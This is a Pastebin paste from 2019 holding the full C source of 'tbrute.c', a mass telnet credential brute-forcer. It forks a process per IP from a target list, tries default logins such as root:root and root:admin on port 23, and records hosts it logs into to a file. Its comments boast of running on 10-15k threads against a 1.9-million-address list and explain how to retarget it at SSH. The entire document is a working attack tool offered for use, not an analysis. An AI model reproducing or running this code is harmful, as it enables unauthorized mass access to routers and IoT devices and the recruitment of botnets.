Advertisement
KhaosBringer

tbrute.c

May 11th, 2019
2,541
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.67 KB | None | 0 0
  1. /*
  2.     Simple Telnet Bruter That Runs Quick And Smooth As Fuck On 10-15k Threads On A 1.9 Mil List.
  3.     To Compile Simply chmod 777 tbrute.c Then Run:
  4.     gcc tbrute.c -o tbrute -pthread
  5. */
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <stdarg.h>
  10. #include <string.h>
  11. #include <fcntl.h>
  12. #include <errno.h>
  13. #include <sys/socket.h>
  14. #include <sys/time.h>
  15. #include <sys/types.h>
  16. #include <ctype.h>
  17. #include <netinet/in.h>
  18. #include <arpa/inet.h>
  19. #include <net/if.h>
  20. #include <netinet/ip.h>
  21. #include <netinet/tcp.h>
  22.  
  23. int Timeout;
  24. int port = 23; // Change This Port To Brute Something Different Such As SSH
  25. int statement;
  26. char buf[1024];
  27. char combo[60];
  28. char *combos[] = {"root:root", "default:", "root:default", "root:admin", "bin:"}; // Add All The Combo's You Wish, But The More Combos The Slower The Brute.
  29.  
  30. #define combo_size (sizeof(combos) / sizeof(unsigned char *))
  31. #define SUCCESS "(\x1b[32m%s\x1b[37m:\x1b[32m%d\x1b[37m)"
  32. #define FAILED "(\x1b[31m%s\x1b[37m:\x1b[31m%d\x1b[37m)"
  33. #define INFO "(\x1b[33m%s\x1b[37m:\x1b[33m%d\x1b[37m)"
  34.  
  35. void Trim(char *str)
  36. {
  37.     int i;
  38.     int begin = 0;
  39.     int end = strlen(str) - 1;
  40.     while (isspace(str[begin])) begin++;
  41.     while ((end >= begin) && isspace(str[end])) end--;
  42.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  43.     str[i - begin] = '\0';
  44. }
  45.  
  46. void brute(char *target)
  47. {
  48.     int Read;
  49.     int c = 0;
  50.     int Socket;
  51.     char cmd[70];
  52.     statement = 0;
  53.     char buffer[1024];
  54.     struct sockaddr_in sock;
  55.     struct timeval timeout;
  56.     char *username;
  57.     char password[40];
  58.     char username2[25];
  59.     char password2[44];
  60.     s:
  61.     switch(statement)
  62.     {
  63.         case 0:
  64.         {
  65.             if(c > combo_size)
  66.                 goto end;
  67.             timeout.tv_sec = Timeout;
  68.             timeout.tv_usec = 0;
  69.             if(!(Socket = socket(AF_INET, SOCK_STREAM, 0)))
  70.                 return;
  71.             setsockopt(Socket, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  72.             setsockopt(Socket, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  73.             sock.sin_family = AF_INET;
  74.             sock.sin_port = htons(port);
  75.             sock.sin_addr.s_addr = inet_addr(target);
  76.             if(connect(Socket, (struct sockaddr *)&sock, sizeof(sock)) == -1)
  77.             {
  78.                 statement = 0;
  79.                 goto end;
  80.             }
  81.             //else
  82.                 //printf(SUCCESS" Connected!\n", target, port);
  83.             statement += 1;
  84.             goto s;
  85.         }
  86.         break;
  87.        
  88.         case 1:
  89.         {
  90.             snprintf(combo, sizeof(combo), "%s", combos[c]);
  91.             if(combo == NULL || combo == " " || combo == "(null)")
  92.                 goto end;
  93.             username = strtok(combo, ":");
  94.             snprintf(password, sizeof(password), "%s", username+strlen(username)+1);
  95.             snprintf(username2, sizeof(username2), "%s\r\n", username);
  96.             snprintf(password2, sizeof(password2), "%s\r\n", password);
  97.            
  98.             //printf(INFO" Trying Combo -> %s:%s\n", target, port, username, password);
  99.             while(Read = read(Socket, buffer, 1024))
  100.             {
  101.                 buffer[Read] = '\0';
  102.                 if(strstr(buffer, "ogin"))
  103.                 {
  104.                     //printf(SUCCESS" Found Login Prompt!\n", target, port);
  105.                     goto send_user;
  106.                 }
  107.             }
  108.             send_user:
  109.             if(send(Socket, username2, strlen(username2), 0))
  110.             {
  111.                 //printf(SUCCESS" Sent username %s!\n", target, port, username);
  112.                 while(Read = read(Socket, buffer, 1024))
  113.                 {
  114.                     buffer[Read] = '\0';
  115.                     if(strstr(buffer, "ailed") || strstr(buffer, "ncorrect") || strstr(buffer, "rong"))
  116.                     {
  117.                         //printf(FAILED" Incorrect username...\n", target, port);
  118.                         c += 1;
  119.                         close(Socket);
  120.                         statement = 0;
  121.                         goto s;
  122.                     }
  123.                     else if(strstr(buffer, "@") || strstr(buffer, "#") || strstr(buffer, "$") || strstr(buffer, "%") || strstr(buffer, "elcome") || strstr(buffer, "usybox") || strstr(buffer, "usyBox") || strstr(buffer, ">") || strstr(buffer, "ONT"))
  124.                     {
  125.                         printf(SUCCESS" Successful Login With No Password -> %s\n", target, port, username);
  126.                         snprintf(cmd, sizeof(cmd), "echo '%s:%d %s:%s' >> active_telnet", target, port, username, password); // too lazy to write to file
  127.                         system(cmd);
  128.                         goto end;
  129.                     }
  130.                     else if(strstr(buffer, "assword"))
  131.                     {
  132.                         //printf(SUCCESS" Found Password Prompt!\n", target, port);
  133.                         goto send_pw;
  134.                     }
  135.                 }
  136.                 send_pw:
  137.                 if(send(Socket, password2, strlen(password2), 0))
  138.                 {
  139.                     //printf(SUCCESS" Sent Password %s!\n", target, port, password);
  140.                     while(Read = read(Socket, buffer, 1024))
  141.                     {
  142.                         buffer[Read] = '\0';
  143.                         if(strstr(buffer, "ailed") || strstr(buffer, "ncorrect") || strstr(buffer, "rong"))
  144.                         {
  145.                             //printf(FAILED" Incorrect Credentials...\n", target, port);
  146.                             c += 1;
  147.                             close(Socket);
  148.                             statement = 0;
  149.                             goto s;
  150.                         }
  151.                         else if(strstr(buffer, "@") || strstr(buffer, "#") || strstr(buffer, "$") || strstr(buffer, "%") || strstr(buffer, "elcome") || strstr(buffer, "usybox") || strstr(buffer, "usyBox") || strstr(buffer, ">") || strstr(buffer, "ONT"))
  152.                         {
  153.                             printf(SUCCESS" Successful Login -> %s:%s\n", target, port, username, password);
  154.                             snprintf(cmd, sizeof(cmd), "echo '%s:%d %s:%s' >> active_telnet", target, port, username, password); // too lazy to write to file
  155.                             system(cmd);
  156.                             goto end;
  157.                         }
  158.                     }
  159.                 }
  160.             }
  161.         }
  162.         break;
  163.     }
  164.     end:
  165.     c = 0;
  166.     statement = 0;
  167.     close(Socket);
  168.     return;
  169. }
  170.  
  171. int main(int argc, char **argv)
  172. {
  173.     if(argc < 3 || argc > 3)
  174.     {
  175.         printf("[\x1b[31m-\x1b[37m] Usage: %s <timeout> <list>\n", argv[0]);
  176.         exit(0);
  177.     }
  178.     Timeout = atoi(argv[1]);
  179.     FILE *vuln_list = fopen(argv[2], "r");
  180.     if(vuln_list == NULL)
  181.     {
  182.         printf("[\x1b[31m-\x1b[37m] Failed to open given list (\x1b[33m%s\x1b[37m)\n", argv[2]);
  183.         exit(0);
  184.     }
  185.     while(fgets(buf, sizeof(buf) - 1, vuln_list))
  186.     {
  187.         if(strlen(buf) < 3 || buf == NULL)
  188.             break;
  189.         Trim(buf);
  190.         if(!(fork()))
  191.         {
  192.             brute(buf);
  193.             exit(0);
  194.         }
  195.     }
  196.     return;
  197. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement